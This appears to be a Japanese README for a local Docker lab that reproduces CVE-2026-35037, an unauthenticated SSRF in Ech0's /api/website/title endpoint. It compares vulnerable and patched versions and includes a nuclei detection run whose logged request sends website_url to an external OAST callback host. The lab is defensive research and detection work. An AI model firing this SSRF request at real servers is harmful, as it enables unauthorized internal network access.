CVE-2026-35037 Ech0 SSRF ラボ

このリポジトリには、Ech0 の GET /api/website/title エンドポイントにおける未認証の SSRF 脆弱性 CVE-2026-35037 を再現するための、ローカルで隔離されたラボが含まれています。

このラボでは、クラウドメタデータやサードパーティのインフラストラクチャの代わりに、制御されたローカル証跡サーバーを使用します。

概要

製品: lin-snow/Ech0
脆弱性: サーバーサイドリクエストフォージェリ (SSRF)
CVE: CVE-2026-35037
GHSA: GHSA-cqgf-f4x7-g6wc
影響を受けるバージョン: GHSA は <= 4.2.1 を挙げており、NVD は 4.2.8 より前のバージョンを説明しています
パッチ適用済みバージョン: 4.2.8
エンドポイント: GET /api/website/title
パラメータ: website_url
認証: 脆弱なバージョンでは不要

参考リンク:

ファイル

docker-compose.yml: Ech0 とローカル証跡 HTTP サーバーを起動します
Dockerfile.ech0-lab: 公式 GitHub タグから Ech0 をビルドします
verify-cve-2026-35037.sh: 制御された SSRF 検証リクエストを送信します
evidence/index.html: 一意の <title> を持つ制御された HTML ページ
nuclei/CVE-2026-35037.yaml: nuclei テンプレート候補

ソースからビルドする理由

このラボを作成した時点では、sn0wl1n/ech0:4.2.1 のような歴史的な脆弱な Docker タグは利用できませんでした。そのため、このラボでは公式の lin-snow/Ech0 GitHub タグからビルドします:

脆弱な候補として v4.2.1
パッチ適用済みの比較用として v4.2.8

また、ローカルの Dockerfile は、歴史的な build.Dockerfile で観察されたアップストリームのビルド問題も回避します。

要件

Docker Engine または Docker Desktop
curl
任意: nuclei

これはローカルの隔離されたラボでのみ実行してください。これらのコマンドをサードパーティのシステムに対して使用しないでください。所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。

脆弱な動作を再現する

Ech0 v4.2.1 を起動します:

ECH0_TAG=4.2.1 docker compose up -d --build

制御された検証リクエストを送信します:

sh verify-cve-2026-35037.sh

期待される脆弱な応答:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}

Ech0 が制御された証跡サーバーに到達したことを確認します:

docker compose logs evidence

観測された証跡ログ:

ech0-cve-2026-35037-evidence  | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -

パッチ適用済みバージョンの比較

Ech0 v4.2.8 を起動します:

docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build

同じリクエストを実行します:

sh verify-cve-2026-35037.sh

観測されたパッチ適用済みの応答:

HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8

{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}

Nuclei による検証

テンプレートを検証します:

nuclei -validate -t nuclei/CVE-2026-35037.yaml

脆弱な v4.2.1 に対して実行します:

nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277

観測された脆弱な結果:

[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.

パッチ適用済みの v4.2.8 に対して実行します:

nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277

観測されたパッチ適用済みの結果:

[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.

クリーンアップ

docker compose down -v

注意事項

手動ラボでは、Docker Compose ネットワーク内の http://evidence:8080/ を使用します。
nuclei テンプレートは {{interactsh-url}} を使用し、OAST/interactsh のサポートが必要です。
nuclei テンプレートは {{interactsh-url}} を使用しており、デフォルトでは oast.online や oast.fun などの ProjectDiscovery の interactsh サーバーに接続します。-iserver でサーバーを上書きするか、-ni で interactsh を無効にできます。
このラボはクラウドメタデータエンドポイントを調査しません。
このラボは、Docker ビルド中の通常の依存関係/イメージのダウンロードを除き、本番環境やサードパーティのターゲットに接続しません。

POC_CVE-2026-35037

人気